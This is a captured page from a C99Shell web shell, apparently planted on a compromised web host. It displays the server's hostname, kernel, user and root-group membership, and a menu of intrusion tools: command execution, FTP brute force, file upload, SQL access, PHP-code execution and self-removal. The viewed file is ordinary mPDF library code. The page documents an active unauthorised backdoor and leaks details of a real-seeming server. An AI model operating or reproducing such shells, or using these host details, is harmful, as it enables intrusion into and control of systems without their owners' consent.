!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/src/   drwxr-xr-x
Free 25.28 GB of 117.98 GB (21.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AssetFetcher.php (3.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mpdf;

use 
Mpdf\File\LocalContentLoaderInterface;
use 
Mpdf\File\StreamWrapperChecker;
use 
Mpdf\Http\ClientInterface;
use 
Mpdf\Http\Request;
use 
Mpdf\Log\Context as LogContext;
use 
Psr\Log\LoggerInterface;

class 
AssetFetcher implements \Psr\Log\LoggerAwareInterface
{

    private 
$mpdf;

    private 
$contentLoader;

    private 
$http;

    private 
$logger;

    public function 
__construct(Mpdf $mpdfLocalContentLoaderInterface $contentLoaderClientInterface $httpLoggerInterface $logger)
    {
        
$this->mpdf $mpdf;
        
$this->contentLoader $contentLoader;
        
$this->http $http;
        
$this->logger $logger;
    }

    public function 
fetchDataFromPath($path$originalSrc null)
    {
        
/**
         * Prevents insecure PHP object injection through phar:// wrapper
         * @see https://github.com/mpdf/mpdf/issues/949
         * @see https://github.com/mpdf/mpdf/issues/1381
         */
        
$wrapperChecker = new StreamWrapperChecker($this->mpdf);

        if (
$wrapperChecker->hasBlacklistedStreamWrapper($path)) {
            throw new 
\Mpdf\Exception\AssetFetchingException('File contains an invalid stream. Only ' implode(', '$wrapperChecker->getWhitelistedStreamWrappers()) . ' streams are allowed.');
        }

        if (
$originalSrc && $wrapperChecker->hasBlacklistedStreamWrapper($originalSrc)) {
            throw new 
\Mpdf\Exception\AssetFetchingException('File contains an invalid stream. Only ' implode(', '$wrapperChecker->getWhitelistedStreamWrappers()) . ' streams are allowed.');
        }

        
$this->mpdf->GetFullPath($path);

        return 
$this->isPathLocal($path) || ($originalSrc !== null && $this->isPathLocal($originalSrc))
            ? 
$this->fetchLocalContent($path$originalSrc)
            : 
$this->fetchRemoteContent($path);
    }

    public function 
fetchLocalContent($path$originalSrc)
    {
        
$data '';

        if (
$originalSrc && $this->mpdf->basepathIsLocal && $check = @fopen($originalSrc'rb')) {
            
fclose($check);
            
$path $originalSrc;
            
$this->logger->debug(sprintf('Fetching content of file "%s" with local basepath'$path), ['context' => LogContext::REMOTE_CONTENT]);

            return 
$this->contentLoader->load($path);
        }

        if (
$path && $check = @fopen($path'rb')) {
            
fclose($check);
            
$this->logger->debug(sprintf('Fetching content of file "%s" with non-local basepath'$path), ['context' => LogContext::REMOTE_CONTENT]);

            return 
$this->contentLoader->load($path);
        }

        return 
$data;
    }

    public function 
fetchRemoteContent($path)
    {
        
$data '';

        try {

            
$this->logger->debug(sprintf('Fetching remote content of file "%s"'$path), ['context' => LogContext::REMOTE_CONTENT]);

            
/** @var \Mpdf\Http\Response $response */
            
$response $this->http->sendRequest(new Request('GET'$path));

            if (
$response->getStatusCode() !== 200) {

                
$message sprintf('Non-OK HTTP response "%s" on fetching remote content "%s" because of an error'$response->getStatusCode(), $path);
                if (
$this->mpdf->debug) {
                    throw new 
\Mpdf\MpdfException($message);
                }

                
$this->logger->info($message);

                return 
$data;
            }

            
$data $response->getBody()->getContents();

        } catch (
\InvalidArgumentException $e) {
            
$message sprintf('Unable to fetch remote content "%s" because of an error "%s"'$path$e->getMessage());
            if (
$this->mpdf->debug) {
                throw new 
\Mpdf\MpdfException($message0E_ERRORnullnull$e);
            }

            
$this->logger->warning($message);
        }

        return 
$data;
    }

    public function 
isPathLocal($path)
    {
        return 
strpos($path'://') === false// @todo More robust implementation
    
}

    public function 
setLogger(LoggerInterface $logger)
    {
        
$this->logger $logger;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--